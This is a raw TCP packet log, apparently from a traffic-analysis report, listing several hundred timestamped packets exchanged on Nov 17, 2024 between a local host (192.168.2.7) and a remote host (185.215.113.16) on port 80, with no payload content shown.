Nov 17, 2024 04:38:52.249130011 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.249149084 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.249228954 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.249239922 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.249262094 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.249361038 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.249371052 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.249398947 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.249401093 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.249442101 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.249469042 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.249480009 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.249490976 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.249551058 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.249727964 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.249738932 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.249754906 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.249758959 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.249763966 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.249805927 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.249989033 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.250001907 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.250015020 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.250024080 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.250051022 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.250051975 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.250066042 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.250107050 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.250303984 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.250315905 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.250346899 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.279262066 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.279287100 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.279330969 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.279474020 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.279486895 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.279498100 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.279510021 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.279526949 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.279532909 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.279561043 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.279604912 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.279624939 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.279633045 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.279637098 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.279648066 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.279659986 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.279678106 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.279700994 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.280051947 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280064106 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280081987 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280092955 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280105114 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280116081 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280128002 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280129910 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.280138016 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280157089 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.280177116 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.280591011 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280603886 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280610085 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280651093 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.280669928 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280680895 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280692101 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280699015 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.280704021 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280718088 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280725002 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.280728102 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.280750036 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.281212091 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.281246901 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.281248093 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.288978100 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.339648962 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.356704950 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.356722116 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.356733084 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.356748104 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.356789112 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.363749981 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.363759995 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.363766909 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.363775015 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.363778114 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.363779068 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.363795996 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.363818884 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.363975048 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.363995075 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364007950 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364031076 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.364106894 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364119053 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364130020 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364150047 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.364165068 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.364254951 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364268064 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364293098 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.364671946 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364682913 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364691019 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364721060 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.364737034 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364748001 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364757061 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364768982 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364777088 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.364780903 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364795923 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.364799023 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364820004 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.364855051 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364866018 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364877939 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364890099 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.364891052 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.364919901 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.365103960 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.365143061 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.365161896 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.365180969 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.365215063 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.365242958 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.365255117 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.365286112 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.365292072 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.365298033 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.365343094 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.397592068 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397614002 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397633076 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397653103 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.397699118 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397727966 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397732019 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.397746086 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397766113 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397783995 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397788048 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.397802114 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397819996 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397820950 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.397847891 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397855997 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.397891045 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397907972 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397924900 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397928953 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.397943974 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397962093 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.397962093 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397974968 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397989988 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.397994995 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.398006916 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398020983 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.398025036 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398044109 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398057938 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.398061991 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398082972 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398097038 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.398102045 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398117065 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398128986 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398133993 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.398140907 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398152113 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398164034 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398168087 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.398178101 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398186922 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398199081 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398211956 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.398221016 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.398241997 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.420181990 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.431715012 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.471859932 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.471879959 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.471893072 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.471926928 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.478852987 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.478864908 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.478900909 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.479022980 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479044914 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479060888 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479085922 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.479087114 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479108095 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.479221106 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479238033 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479249954 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479262114 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.479271889 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479283094 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479305029 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.479345083 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.479465961 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479475975 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479520082 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.479537964 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479547977 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479587078 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.479609966 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479619980 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479660988 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.479696989 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479708910 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479718924 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479743004 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.479840994 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479851007 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479887962 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479895115 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.479921103 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.479921103 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479932070 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.479959011 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.480099916 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.480110884 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.480122089 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.480143070 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.480241060 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.480251074 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.480269909 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.480344057 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.480360985 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.480375051 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.480380058 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.480387926 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.480405092 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.480557919 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.480567932 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.480592012 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.509684086 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.509718895 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.509731054 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.509731054 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.509742975 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.509767056 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.509825945 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.509836912 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.509849072 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.509859085 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.509860992 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.509874105 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.509882927 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.509885073 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.509897947 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.509910107 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.509946108 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.510220051 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510268927 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510281086 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510329008 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.510356903 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510387897 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510391951 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.510400057 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510428905 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.510447025 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510457993 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510493994 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.510804892 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510823011 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510837078 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510849953 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510859966 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.510862112 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510874987 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510885954 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510890007 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.510898113 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510911942 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510922909 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.510962963 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.510962963 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.510962963 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.511399031 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.511411905 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.511425018 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.511435032 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.511440992 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.511447906 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.511459112 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.511539936 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.511539936 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.513103962 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.587080956 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.587095976 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.587131023 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.587155104 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.595069885 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595084906 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595113993 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.595211029 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595230103 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595242977 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595248938 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595252991 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.595269918 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595269918 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.595288038 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595299959 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595323086 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595323086 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.595336914 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595341921 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.595347881 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595360994 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595371962 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595376968 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.595383883 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595393896 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595401049 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.595405102 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595417023 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.595422983 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595432997 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595441103 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.595448017 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595458984 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595469952 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595469952 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.595484972 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595488071 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.595496893 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595509052 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595520020 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595526934 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:52.595535040 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595546007 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:52.595551014 CET	49713	80	192.168.2.7	185.215.113.16
